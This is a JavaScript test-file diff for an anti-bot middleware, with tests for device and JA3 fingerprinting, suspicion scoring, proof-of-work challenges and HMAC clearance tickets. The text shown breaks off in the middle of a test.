+import {cyrb53, FingerprintBuilder} from '../fingerprint.builder.js';
+import * as dns from 'node:dns/promises';
+import * as fingerprint from '../fingerprint.js';
+
+// Mock import.meta.env before importing the module that uses it
+vi.mock('import-meta-env', () => ({
+    env: { NODE_ENV: 'test', POW_SECRET: 'fallback-dev-secret-32-chars-minimum' },
+}));
+// Mock readFileSync for custom challenge page tests
+vi.mock('node:fs', async () => {
+    const actualFs = await vi.importActual('node:fs');
+    return { ...actualFs, readFileSync: vi.fn() };
+});
+
+const {
+    FingerprintEngine,
+    isTicketValid,
+    identifyRequest,
+    powMiddleware,
+    __internal,
+    configureStore,
+    getClientHintsInconsistencyScore,
+    verifyCpuTargetPoWAndGenerateTicket,
+    verifyMemoryPoW,
+    verifyTspChallenge,
+    startThresholdAutoTuning,
+    default_whitelist,
+    stopThresholdAutoTuning,
+    getCompositeDeviceHash,
+} = fingerprint;
+const { store, getRequestPatternScore, getDeviceHash } = __internal;
+let { getBehaviorScore, getClickVarianceScore } = __internal;
+// Mock the entire dns module
+vi.mock('node:dns/promises');
+
+describe('Fingerprint & PoW Security Suite', () => {
+    test('cyrb53 should be deterministic', () => {
+        const input = "test-string";
+        expect(cyrb53(input)).toBe(cyrb53(input));
+        expect(cyrb53("a")).not.toBe(cyrb53("b"));
+    });
+
+    describe('FingerprintBuilder', () => {
+        test('should handle null and undefined values gracefully', () => {
+            const builder = new FingerprintBuilder();
+            builder.add('key1', 'value1');
+            builder.add('key2', null);
+            builder.add('key3', undefined);
+            expect(builder.toString()).toBe('key1:6263243896157005');
+        });
+
+        test('comparison logic should handle various cases', () => {
+            const fp1 = new FingerprintBuilder().add('hw', '8_16').add('gpu', 'nvidia').toString();
+            const fp2 = new FingerprintBuilder().add('hw', '8_16').add('gpu', 'nvidia').toString();
+            const fp3 = new FingerprintBuilder().add('hw', '4_8').add('gpu', 'amd').toString();
+            const fp4 = new FingerprintBuilder().add('hw', '8_16').add('os', 'win32').toString(); // Partial match
+
+            expect(FingerprintBuilder.compare(fp1, fp2), "Identical FPs should return 1").toBe(1);
+            expect(FingerprintBuilder.compare(fp1, fp3), "Different FPs should have low similarity score").toBeLessThan(0.5);
+            expect(FingerprintBuilder.compare(fp1, fp4), "Partial match should return a score between 0 and 1").toBeGreaterThan(0);
+            expect(FingerprintBuilder.compare(fp1, fp4)).toBeLessThan(1);
+            expect(FingerprintBuilder.compare(fp1, ''), "Comparison with empty string should be 0").toBe(0);
+            expect(FingerprintBuilder.compare(null, fp2), "Comparison with null should be 0").toBe(0);
+        });
+    });
+
+    describe('JA3 Fingerprinting', () => {
+
+        const mockClientHello = {
+            version: 'TLSv1.3',
+            ciphers: [4865, 4866],
+            extensions: [0, 23, 65281, 10, 11, 35, 16, 5, 13, 18, 51, 45, 43, 27, 21],
+            ellipticCurves: [29, 23, 24],
+            ellipticCurvePointFormats: [0],
+        };
+
+        afterEach(() => {
+            // Restore any spies after each test in this block
+            vi.restoreAllMocks();
+        });
+
+        test('should prioritize JA3 hash from x-ja3-hash header', async () => {
+            const context = {
+                headers: { 'x-ja3-hash': 'header-provided-ja3-hash' },
+                rawReq: { socket: { clientHello: mockClientHello } } // Even if socket data exists
+            };
+            // We test getTlsFingerprint directly to isolate the logic.
+            const { ja3 } = fingerprint.__internal.getTlsFingerprint(context);
+            expect(ja3).toBe('header-provided-ja3-hash');
+        });
+
+        test('should calculate JA3 hash from clientHello if header is missing', () => {
+            const context = {
+                headers: {},
+                rawReq: { socket: { clientHello: mockClientHello } }
+            };
+            const { ja3 } = fingerprint.__internal.getTlsFingerprint(context); // Directly call the function
+            // We need to calculate the expected JA3 hash to verify it.
+            const expectedJa3String = '772,4865-4866,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-21,29-23-24,0';
+            const expectedJa3Md5 = createHash('md5').update(expectedJa3String).digest('hex');
+            const expectedComponentHash = cyrb53(expectedJa3Md5);
+
+            const deviceHash = getCompositeDeviceHash(context); // Now call getCompositeDeviceHash after getTlsFingerprint
+            expect(deviceHash).toContain(`ja3:${expectedComponentHash}`);
+            expect(ja3).toBe(expectedJa3Md5);
+        });
+
+        test('should not include JA3 hash if no data is available', () => {
+            // Ensure getTlsFingerprint returns nulls for this specific test
+            vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({ ja3: null, ja4: null });
+
+            const context = {
+                headers: {},
+                rawReq: { socket: {} } // No clientHello
+            };
+            const deviceHash = getCompositeDeviceHash(context);
+            expect(deviceHash).not.toContain('ja3:');
+        });
+
+        test('should handle missing rawReq or socket gracefully', () => {
+            // Ensure getTlsFingerprint returns nulls for this specific test
+            vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({ ja3: null, ja4: null });
+
+            const context1 = { headers: {} }; // No rawReq
+            const context2 = { headers: {}, rawReq: {} }; // No socket
+
+            const deviceHash1 = getCompositeDeviceHash(context1);
+            const deviceHash2 = getCompositeDeviceHash(context2);
+
+            expect(deviceHash1).not.toContain('ja3:');
+            expect(deviceHash2).not.toContain('ja3:');
+        });
+    });
+
+
+
+    describe('CPU Target PoW Workflow', () => {
+        const ip = '127.0.0.1';
+        const nonce = 'test-nonce';
+        const suspicionFactor = 0.1; // Low suspicion for a quick test
+        const clientSecret = 'my-super-secret-client-key';
+
+        test('should solve and verify correctly without a clientSecret (fallback)', async () => {
+            const securityConfig = { cpu: { minDifficultyBits: 2, maxDifficultyBits: 4 } }; // Difficulté plus faible pour le test
+            let solution = 0;
+            const target = __internal.calculateTarget(suspicionFactor, securityConfig);
+            const baseBlock = new TextEncoder().encode(`${nonce}::test-fp-string:`);
+            while (true) {
+                const finalBlock = Buffer.concat([Buffer.from(baseBlock), Buffer.from(String(solution))]);
+                const hash = createHash('sha256').update(finalBlock).digest('hex');
+                if (BigInt('0x' + hash) < target) break;
+                solution++;
+            }
+            const challengeContext = { cpuTarget: target.toString(16), baseBlock };
+
+            const ticket = await verifyCpuTargetPoWAndGenerateTicket(ip, null, nonce, solution, challengeContext);
+            expect(ticket, "Ticket should be generated for a valid solution without secret").toBeTruthy();
+            expect(await isTicketValid(ip, ticket), "Ticket should be valid").toBe(true);
+        });
+
+        test('should solve and verify correctly WITH a clientSecret', async () => {
+            const securityConfig = { cpu: { minDifficultyBits: 4 } };
+            let solution = 0;
+            const target = __internal.calculateTarget(suspicionFactor, securityConfig);
+            // Client-side simulation now includes the secret
+            const solverFingerprint = 'fp-with-secret';
+            const baseBlock = new TextEncoder().encode(`${nonce}:${clientSecret}:${solverFingerprint}:`);
+
+            while (true) {
+                const finalBlock = Buffer.concat([Buffer.from(baseBlock), Buffer.from(String(solution))]);
+                const hash = createHash('sha256').update(finalBlock).digest('hex');
+                if (BigInt('0x' + hash) < target) break;
+                solution++;
+            }
+
+            const challengeContext = { cpuTarget: target.toString(16), baseBlock };
+
+            // Server-side verification includes the secret
+            const ticket = await verifyCpuTargetPoWAndGenerateTicket(ip, null, nonce, solution, challengeContext);
+            expect(ticket, "Ticket should be generated for a valid solution with secret").toBeTruthy();
+            expect(await isTicketValid(ip, ticket), "Ticket should be valid for the same IP").toBe(true);
+            expect(await isTicketValid('1.1.1.1', ticket), "Ticket should not be valid for a different IP").toBe(false);
+        });
+
+        test('should solve a medium-difficulty challenge within a reasonable time', async () => {
+            const ip = '127.0.0.1';
+            const nonce = 'test-nonce-perf';
+            const suspicionFactor = 0.5; // "Niveau 2"
+            const clientSecret = 'perf-secret';
+            const securityConfig = { cpu: { minDifficultyBits: 18, maxDifficultyBits: 24 } };
+
+            // Calcule la cible comme le ferait le serveur
+            const target = __internal.calculateTarget(suspicionFactor, securityConfig);
+            const baseBlock = new TextEncoder().encode(`${nonce}:${clientSecret}::`);
+
+            // Simule la résolution du challenge
+            let solution = 0;
+            while (true) {
+                const finalBlock = Buffer.concat([Buffer.from(baseBlock), Buffer.from(String(solution))]);
+                const hash = createHash('sha256').update(finalBlock).digest('hex');
+                if (BigInt('0x' + hash) < target) break;
+                solution++;
+            }
+
+            expect(solution).toBeGreaterThan(0); // Vérifie que le challenge a bien été résolu
+        }, 40000); // Timeout de 8 secondes pour ce test
+    });
+
+    test('PoW Ticket Expiration', async () => {
+        const ip = '127.0.0.1';
+        // Simulate an expired ticket by manipulating the string (for testing)
+        const expiredTimestamp = Date.now() - 1000;
+        const signature = createHmac("sha256", process.env.POW_SECRET || "fallback-dev-secret-32-chars-minimum").update(`${ip}:${expiredTimestamp}`).digest("hex");
+        const ticket = `${expiredTimestamp}:${signature}`;
+        expect(await isTicketValid(ip, ticket), "An expired ticket should be rejected").toBe(false);
+    });
+
+    describe('Memory PoW Verification', () => {
+        const nonce = 'test-nonce-mem';
+        const difficulty = 1; // 1MB for a quick test
+        const clientSecret = 'my-mem-secret';
+
+        const solveMemPoW = (seed, diff) => {
+            const size = diff * 1024 * 1024;
+            const buffer = new Uint32Array(size / 4);
+            let h = new TextEncoder().encode(seed).reduce((acc, v) => acc + v, 0);
+            for (let i = 0; i < buffer.length; i++) {
+                buffer[i] = (h = Math.imul(h ^ i, 1597334677));
+            }
+            let clientSolution = 0;
+            const iterations = size / 16;
+            // Align the test solver with the actual implementation in fingerprint.js
+            // This uses a data-dependent memory access pattern, which is more secure.
+            let addr = buffer.length > 0 ? buffer[0] % buffer.length : 0;
+            for (let i = 0; i < iterations; i++) {
+                addr = buffer[addr] % buffer.length;
+                clientSolution ^= addr;
+            }
+            return clientSolution;
+        };
+
+        test('should verify correctly without a clientSecret', () => {
+            const clientSolution = solveMemPoW(`:${nonce}:`, difficulty);
+            expect(verifyMemoryPoW(nonce, String(clientSolution), difficulty, undefined), "Valid memory PoW solution should be accepted").toBe(true);
+            expect(verifyMemoryPoW(nonce, String(clientSolution + 1), difficulty, undefined), "Invalid memory PoW solution should be rejected").toBe(false);
+        });
+
+        test('should verify correctly WITH a clientSecret', () => {
+            const seed = `:${nonce}:${clientSecret}`;
+            const clientSolution = solveMemPoW(seed, difficulty);
+
+            // Server-side verification
+            expect(verifyMemoryPoW(nonce, String(clientSolution), difficulty, clientSecret), "Valid memory PoW with secret should be accepted").toBe(true);
+            expect(verifyMemoryPoW(nonce, String(clientSolution + 1), difficulty, clientSecret), "Invalid memory PoW with secret should be rejected").toBe(false);
+            expect(verifyMemoryPoW(nonce, String(clientSolution), difficulty, 'wrong-secret'), "Memory PoW with wrong secret should be rejected").toBe(false);
+        });
+    });
+
+    test('TSP Challenge Verification', () => {
+        const nonce = 'test-nonce-tsp';
+        const cities = [{x: 10, y: 10}, {x: 90, y: 90}, {x: 10, y: 90}, {x: 90, y: 10}];
+        const numCities = cities.length;
+        const targetMaxDistance = 350; // A reasonable target for this square
+
+        // A valid, optimal path for this square is [0, 2, 1, 3] or similar
+        const validSolution = JSON.stringify([0, 2, 1, 3]);
+        // An invalid path (not a permutation)
+        const invalidPermutation = JSON.stringify([0, 1, 1, 2]);
+        // A valid path, but likely too long
+        const suboptimalSolution = JSON.stringify([0, 1, 2, 3]);
+
+        expect(verifyTspChallenge(nonce, validSolution, numCities, targetMaxDistance, cities), "A valid TSP solution should be accepted").toBe(true);
+        expect(verifyTspChallenge(nonce, invalidPermutation, numCities, targetMaxDistance, cities), "A TSP solution that is not a permutation should be rejected").toBe(false);
+
+        // This test assumes the simple path is longer than the target.
+        const isSuboptimalRejected = !verifyTspChallenge(nonce, suboptimalSolution, numCities, targetMaxDistance, cities);
+        if (isSuboptimalRejected) {
+            expect(true, "A suboptimal TSP solution (too long) should be rejected").toBe(true);
+        }
+    });
+
+    describe('identifyRequest (for Rate Limiting)', () => {
+        const inMemoryStore = {
+            _map: new Map(),
+            get: async (key) => inMemoryStore._map.get(key),
+            set: async (key, value) => inMemoryStore._map.set(key, value),
+            has: async (key) => inMemoryStore._map.has(key),
+            delete: async (key) => inMemoryStore._map.delete(key),
+        };
+        const securityConfig = {
+            weights: { historyScore: 0.3, rotationScore: 0.5, headerAnomalyScore: 0.4, inconsistencyScore: 0.8 },
+            thresholds: { low: 20, medium: 35, high: 75 }
+        };
+        let engine;
+
+        beforeEach(() => {
+            inMemoryStore._map.clear();
+            configureStore(inMemoryStore);
+            vi.restoreAllMocks(); // Restore mocks before each test
+            // Add a default mock for getTlsFingerprint to stabilize these tests
+            vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({
+                ja3: 'mock-ja3', ja4: 'mock-ja4'
+            });
+            engine = new FingerprintEngine(securityConfig);
+        });
+
+        test('should return a device-specific key for a normal request', async () => {
+            const requestContext = {
+                clientIp: '127.0.0.1',
+                cookies: {},
+                headers: { // Minimal headers
+                    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
+                    'accept-language': 'en-US,en;q=0.9',
+                    'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'
+                },
+                rawHeaders: ['User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36', 'Accept-Language', 'en-US,en;q=0.9', 'Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'],
+                httpVersion: '1.1',
+                query: new URLSearchParams() };
+            const key = await engine.identifyRequest(requestContext);
+            expect(key).toMatch(/^device:/);
+        });
+
+        test('should return a suspicion-based key for a highly suspicious request', async () => {
+            // This context simulates a request from a simple script (e.g., curl) with missing headers.
+            const requestContext = {
+                clientIp: '127.0.0.1',
+                cookies: {},
+                headers: {}, // Simulate completely missing headers
+                rawHeaders: [],
+                httpVersion: '1.1',
+                query: new URLSearchParams()
+            };
+            const key = await engine.identifyRequest(requestContext);
+            // Missing accept/accept-language headers should trigger a medium suspicion score.
+            expect(key).toBe('suspicious_medium:127.0.0.1');
+        });
+    });
+
+    test('getDeviceHash should prioritize client-side fingerprint header', async () => {
+        // 1. Spy on the getDeviceHash function from its actual module
+        const getDeviceHashSpy = vi.spyOn(fingerprint, 'getDeviceHash');
+
+        // 2. Simulate a request context with the special header
+        const clientSideFingerprint = 'cvs:12345|gpu:67890|hw:stable';
+        const requestContext = {
+            headers: {
+                'user-agent': 'A regular user agent',
+                'x-device-fingerprint': clientSideFingerprint,
+            },
+            // ... other context properties
+        };
+
+        // 3. Call the function and assert it returns the client-side FP
+        const result = fingerprint.getDeviceHash(requestContext);
+
+        expect(result).toBe(clientSideFingerprint);
+        expect(getDeviceHashSpy).toHaveBeenCalledWith(requestContext);
+    });
+
+    describe('powMiddleware', () => {
+        // Mock store for tests
+        const inMemoryStore = {
+            _map: new Map(),
+            async get(key) { return this._map.get(key); },
+            async set(key, value) { this._map.set(key, value); },
+            async has(key) { return this._map.has(key); },
+            async delete(key) { this._map.delete(key); },
+        };
+        beforeEach(() => {
+            inMemoryStore._map.clear();
+            configureStore(inMemoryStore);
+        });
+
+        // Détecte si on est dans un environnement de CI/CD
+        const isCI = !!process.env.CI;
+
+        // Configuration de base pour les tests
+        let securityConfig = {
+            // Adjust weights to be more realistic and less aggressive for testing.
+            // This prevents minor suspicion scores from being overly amplified and causing immediate blocks.
+            weights: { 
+                historyScore: 0.3, 
+                rotationScore: 0.2, 
+                headerAnomalyScore: 0.1, 
+                inconsistencyScore: 0.2, 
+                requestPatternScore: 0.2,
+                honeypotScore: 1.0, // Garder un poids élevé pour les tests de honeypot
+            },
+            thresholds: { low: 20, medium: 45, high: 75 },
+            // NOUVEAU : Activer explicitement le challenge pour les nouveaux appareils pour ce scénario de test.
+            // C'est cette option qui permet à la logique de s'exécuter.
+            challengeNewDevices: true,
+        };
+        // For this specific test, we need to disable the new device challenge
+        // to ensure a truly non-suspicious request passes without a challenge.
+        const nonSuspiciousConfig = { ...securityConfig, challengeNewDevices: false };
+
+
+        // Si on est en CI, on surcharge la configuration pour abaisser la difficulté
+        if (isCI) {
+            console.log('[CI Mode] Using low-difficulty configuration for tests.');
+            securityConfig = {
+                ...securityConfig,
+                cpu: {
+                    minDifficultyBits: 1, // Difficulté CPU minimale
+                    maxDifficultyBits: 2, // Difficulté CPU maximale très faible
+                }
+            };
+        }
+
+        afterEach(() => {
+            vi.restoreAllMocks();
+        });
+
+        test('should call next() for a non-suspicious request', async () => {
+            // Simuler un appareil connu et non suspect
+            const deviceId = 'known-device-123';
+            await inMemoryStore.set(`device:${deviceId}`, {
+                initialDeviceHash: 'some-hash',
+                ips: new Set(['127.0.0.1']),
+                lastUpdate: Date.now(),
+                lastFpHash: 'some-hash',
+                lastChangeTimestamp: 0,
+                rapidChangeCount: 0,
+            });
+
+            vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
+                historyScore: 0, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
+            });
+
+            const req = { path: '/', ip: '127.0.0.1', cookies: { device_id: deviceId }, query: {}, headers: { 'user-agent': 'test-ua' } };
+            const res = { cookie: vi.fn(), status: vi.fn().mockReturnThis(), send: vi.fn() };
+            const next = vi.fn();
+
+            const middleware = powMiddleware(nonSuspiciousConfig);
+            await middleware(req, res, next);
+
+            expect(next, 'next() should have been called').toHaveBeenCalled();
+            // Pour un appareil connu, le cookie ne doit pas être redéfini
+            expect(res.cookie).not.toHaveBeenCalled();
+        });
+
+        test('should issue a minimal challenge for a new, non-suspicious device', async () => {
+            // 1. Simuler un score de suspicion de 0.
+            // A new device should have a score of at least 1 to trigger the initial challenge.
+            vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
+                historyScore: 1, rotationScore: 1, headerAnomalyScore: 1, inconsistencyScore: 0, honeypotScore: 0, requestPatternScore: 0
+            });
+
+            // 2. Simuler une nouvelle requête (pas de cookie device_id)
+            const req = {
+                path: '/', ip: '127.0.0.1', cookies: {}, query: {},
+                headers: { 'user-agent': 'A normal browser' },
+                rawHeaders: ['User-Agent', 'A normal browser'], httpVersion: '1.1'
+            };
+            let sentStatus, sentBody;
+            const res = {
+                status: (s) => { sentStatus = s; return res; },
+                send: (b) => { sentBody = b; },
+                cookie: vi.fn()
+            };
+            const next = vi.fn();
+
+            await powMiddleware(securityConfig)(req, res, next);
+
+            // 3. Vérifier qu'un challenge est bien émis, même avec un score de 0
+            expect(sentStatus).toBe(404);
+            expect(sentBody).toContain('Enhanced Verification');
+            expect(next).not.toHaveBeenCalled();
+        });
+
+        test('should issue a challenge for a suspicious request', async () => {
+            const getSuspicionVectorSpy = vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async (requestContext, securityConfig) => {
+                // The securityConfig is passed as the second argument
+                expect(securityConfig).toBeDefined();
+                return {
+                    historyScore: 25, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
+                };
+            });
+
+            const req = {
+                path: '/',
+                ip: '127.0.0.1',
+                cookies: {},
+                query: {},
+                headers: { 'user-agent': 'test-ua' },
+                rawHeaders: ['User-Agent', 'test-ua'], httpVersion: '1.1' };
+            let sentStatus, sentBody;
+            const res = {
+                status: (s) => { sentStatus = s; return res; },
+                send: (b) => { sentBody = b; },
+                cookie: vi.fn() // Mock cookie to prevent errors in getSuspicionVector
+            };
+            const next = vi.fn(() => { throw new Error('next() should not be called'); });
+
+            req.fingerprint = {};
+            const middleware = powMiddleware(securityConfig);
+            await middleware(req, res, next);
+
+            assert.strictEqual(sentStatus, 404, 'Status should be 404');
+            assert.ok(sentBody.includes('Enhanced Verification'), 'Should send a combined challenge page even for low suspicion');
+            assert.ok(sentBody.includes('Initializing combined verification...'), 'Challenge should always be the combined CPU+Mem type');
+        });
+
+        test('should issue a Memory challenge for a medium-suspicious request', async () => {
+            vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async function() {
+                return {
+                    historyScore: 50, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
+                };
+            });
+
+            const req = { path: '/', ip: '127.0.0.1', cookies: {}, query: {}, headers: { 'user-agent': 'test-ua' } };
+            let sentStatus, sentBody;
+            const res = {
+                status: (s) => { sentStatus = s; return res; },
+                send: (b) => { sentBody = b; },
+                cookie: vi.fn() // Mock cookie to prevent errors in getSuspicionVector
+            };
+            const next = vi.fn(() => { throw new Error('next() should not be called'); });
+
+            req.fingerprint = {};
+            await powMiddleware(securityConfig)(req, res, next);
+
+            expect(sentStatus, 'Status should be 404').toBe(404);
+            expect(sentBody, 'Should send a combined challenge page for medium suspicion').toContain('Enhanced Verification');
+            expect(sentBody, 'Challenge should be the combined CPU+Mem type').toContain('Initializing combined verification...');
+        });
+
+        test('should use a custom HTML template for the challenge page if provided', async () => {
+            const customTemplate = `
+            <!DOCTYPE html>
+            <html>
+                <head><title>Custom Verification</title></head>
+                <body>
+                    <h1>Please wait, we are checking your browser.</h1>
+                    <div id="custom-loader">Loading...</div>
+                    <script><!-- FINGERPRINT_SOLVER_SCRIPT --></script>
+                    <script><!-- FINGERPRINT_CHALLENGE_SCRIPT --></script>
+                    <!-- FINGERPRINT_TRAPS -->
+                </body>
+            </html>`;
+
+            // Configure le mock de readFileSync pour retourner notre template
+            readFileSync.mockReturnValue(customTemplate);
+
+            const customSecurityConfig = {
+                ...securityConfig,
+                challengePagePath: './path/to/custom-challenge-page.html',
+            };
+
+            vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({ historyScore: 30 });
+
+            const req = { path: '/', ip: '127.0.0.1', cookies: {}, query: {}, headers: { 'user-agent': 'test-ua' }, rawHeaders: [], httpVersion: '1.1' };
+            let sentStatus, sentBody;
+            const res = { status: (s) => { sentStatus = s; return res; }, send: (b) => { sentBody = b; }, cookie: vi.fn() };
+            const next = vi.fn();
+
+            await powMiddleware(customSecurityConfig)(req, res, next);
+
+            expect(readFileSync).toHaveBeenCalledWith('./path/to/custom-challenge-page.html', 'utf-8');
+            expect(sentStatus).toBe(404);
+            expect(sentBody).toContain('<h1>Please wait, we are checking your browser.</h1>');
+            expect(sentBody).toContain('async function solve()'); // Vérifie que le script du challenge a été injecté
+        });
+
+        test('should issue a high-difficulty combined challenge for a high-suspicion request', async () => {
+            vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async function() {
+                return {
+                    historyScore: 80, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
+                };
+            });
+
+            const req = { path: '/', ip: '127.0.0.1', cookies: {}, query: {}, headers: { 'user-agent': 'test-ua' } };
+            let sentStatus, sentBody;
+            const res = {
+                status: (s) => { sentStatus = s; return res; },
+                send: (b) => { sentBody = b; },
+                cookie: vi.fn()
+            };
+            const next = vi.fn(() => { throw new Error('next() should not be called'); });
+
+            req.fingerprint = {};
+            await powMiddleware(securityConfig)(req, res, next);
+
+            expect(sentStatus, 'Status should be 404').toBe(404);
+            expect(sentBody, 'Should send a combined challenge page for high suspicion').toContain('Enhanced Verification');
+        });
+
+        test('should issue a JSON challenge for an API request', async () => {
+            // 1. Configure the middleware to identify API requests
+            const apiSecurityConfig = {
+                ...securityConfig,
+                thresholds: {
+                    ...securityConfig.thresholds,
+                    // Identifie toute requête acceptant du JSON comme une requête API
+                    isApiRequest: (req) => req.headers.accept?.includes('application/json'),
+                }
+            };
+
+            // 2. Simulate a suspicion score
+            vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
+                historyScore: 50, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
+            });
+            
+            // 3. Simuler une requête API (avec le header 'Accept')
+            const req = {
+                path: '/api/data', ip: '127.0.0.1', cookies: {}, query: {},
+                headers: { 'user-agent': 'test-ua', 'accept': 'application/json' },
+                rawHeaders: ['User-Agent', 'test-ua', 'Accept', 'application/json'], httpVersion: '1.1'
+            };
+            let sentStatus, sentBody;
+            const res = {
+                status: (s) => { sentStatus = s; return res; },
+                json: (b) => { sentBody = b; }, // Utiliser .json() pour les réponses API
+                cookie: vi.fn()
+            };
+            const next = vi.fn();
+            req.fingerprint = {}; // Initialize req.fingerprint
+
+            await powMiddleware(apiSecurityConfig)(req, res, next);
+
+            expect(sentStatus).toBe(404);
+            expect(sentBody.challenge.type).toBe('cpu_mem');
+            expect(sentBody.challenge).toHaveProperty('nonce');
+            expect(sentBody.challenge).toHaveProperty('cpuTarget');
+        });
+
+        test('should call next() for a suspicious request with a valid ticket', async () => {
+            vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async function() {
+                return {
+                    historyScore: 25, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
+                };
+            });
+
+            const ip = '127.0.0.1';
+            const expiry = Date.now() + 3600000;
+            const signature = createHmac("sha256", process.env.POW_SECRET || "fallback-dev-secret-32-chars-minimum").update(`${ip}:${expiry}`).digest("hex");
+            const validTicket = `${expiry}:${signature}`;
+
+            const req = { path: '/', ip, cookies: { pow_clearance: validTicket }, query: {}, headers: { 'user-agent': 'test-ua' } };
+            const res = { cookie: vi.fn() };
+            const next = vi.fn();
+
+            req.fingerprint = {};
+            await powMiddleware(securityConfig)(req, res, next);
+
+            expect(next, 'next() should have been called for a request with a valid ticket').toHaveBeenCalled();
+        });
+
+        test('should issue a new challenge (re-challenge) if suspicion score is high even with a valid ticket', async () => {
+            vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
+                historyScore: 80,
+                rotationScore: 80,
+                headerAnomalyScore: 80,
+                inconsistencyScore: 80,
+                requestPatternScore: 80,
+                honeypotScore: 0
+            });
+
+            const ip = '127.0.0.1';
+            const expiry = Date.now() + 3600000;
+            const signature = createHmac("sha256", process.env.POW_SECRET || "fallback-dev-secret-32-chars-minimum").update(`${ip}:${expiry}`).digest("hex");
+            const validTicket = `${expiry}:${signature}`;
+
+            const req = { path: '/', ip, cookies: { pow_clearance: validTicket }, query: {}, headers: { 'user-agent': 'test-ua' } };
+            let sentStatus, sentBody;
+            const res = {
+                status: (s) => { sentStatus = s; return res; },
+                send: (b) => { sentBody = b; },
+                cookie: vi.fn()
+            };
+            const next = vi.fn();
+
+            req.fingerprint = {};
+            await powMiddleware(securityConfig)(req, res, next);
+
+            expect(next).not.toHaveBeenCalled();
+            expect(sentStatus).toBe(404);
+            expect(sentBody).toContain('Enhanced Verification');
+        });
+
+        test('should redirect after a valid PoW solution is provided', async () => {
+            // --- 1. Setup: Define context and mock a suspicious score ---
+            const ip = '127.0.0.1';
+            const originalPath = '/protected/resource';
+            const solverFingerprint = 'fp-for-valid-solution';
+            const userAgent = 'test-ua-valid';
+
+            vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
+                historyScore: 30, // A score high enough to trigger a challenge
+            });
+
+            // Merge CI config correctly. The CI config should take precedence.
+            const securityConfigWithLowDiff = {
+                ...securityConfig, // Base config
+                cpu: { minDifficultyBits: 4, ...securityConfig.cpu }, // Apply local diff, but let CI config (securityConfig.cpu) overwrite it.
+            };
+            const middleware = powMiddleware(securityConfigWithLowDiff);
+
+            // --- 2. Initial Request: Trigger the challenge ---
+            const req1 = {
+                path: originalPath, ip, cookies: {}, query: {},
+                headers: { 'user-agent': userAgent, 'x-device-fingerprint': solverFingerprint },
+                rawHeaders: ['User-Agent', userAgent], httpVersion: '1.1'
+            };
+            let challengeBody;
+            const res1 = {
+                status: () => res1,
+                send: (body) => { challengeBody = body; },
+                cookie: vi.fn()
+            };
+            req1.fingerprint = {}; // Initialize req.fingerprint
+            await middleware(req1, res1, vi.fn());
+
+            expect(challengeBody).toContain('Enhanced Verification');
+
+            // --- 3. Client-Side: Solve the challenge ---
+            const nonce = challengeBody.match(/const nonce = "([^"]+)"/)[1];
+            const clientSecret = challengeBody.match(/const clientSecret = "([^"]+)"/)[1];
+            const cpuTargetHex = challengeBody.match(/const cpuTarget = BigInt\("0x" \+ "([^"]+)"\);/)[1];
+            const memDifficulty = parseInt(challengeBody.match(/const memDifficulty = (\d+)/)[1], 10);
+
+            // The client constructs the base block and solves the challenge
+            const baseBlock = new TextEncoder().encode(`${nonce}:${clientSecret}:${solverFingerprint}:`);
+            const cpuSolution = await solveCpuTargetInline(baseBlock, cpuTargetHex, () => {});
+            const memSolution = await solveMemory(`:${nonce}:${clientSecret}`, memDifficulty);
+
+            // --- 4. Submission Request: Send the valid solution ---
+            const req2 = {
+                path: originalPath, ip, cookies: {},
+                query: {
+                    pow_type: 'cpu_mem',
+                    pow_nonce: nonce,
+                    pow_solution_cpu: String(cpuSolution),
+                    pow_solution_mem: String(memSolution),
+                    pow_fp: solverFingerprint
+                },
+                headers: { 'user-agent': userAgent, 'x-device-fingerprint': solverFingerprint },
+                rawHeaders: ['User-Agent', userAgent], httpVersion: '1.1'
+            };
+            let capturedCookie;
+            const res2 = {
+                cookie: (name, value, options) => { capturedCookie = { name, value, options }; },
+                redirect: vi.fn(),
+                status: vi.fn(() => res2),
+                send: vi.fn(),
+            };
+
+            req2.fingerprint = {}; // Initialize req.fingerprint
+            await middleware(req2, res2, vi.fn());
+
+            // --- 5. Assertions ---
+            expect(res2.redirect).toHaveBeenCalledWith(originalPath);
+            expect(capturedCookie).toBeDefined();
+            expect(capturedCookie.name).toBe('pow_clearance');
+        }, 20000);
+
+        it('should issue a short-lived probationary ticket when a moderately suspicious request solves a challenge', async () => {
+            // --- SETUP ---
+            // Ce test simule un flux complet en 2 étapes pour être plus réaliste.
+            // 1. Une première requête suspecte est envoyée, ce qui déclenche l'émission d'un challenge.
+            // 2. Le test résout ce challenge et envoie une seconde requête avec la solution.
+            // 3. On vérifie que la réponse à la seconde requête est une redirection avec un cookie probatoire.
+
+            const ip = '127.0.0.1';
+            const probationaryTtl = 30000; // 30 seconds, as defined in fingerprint.js
+            const solverFingerprint = 'fp-probation';
+            const userAgent = 'test-ua';
+
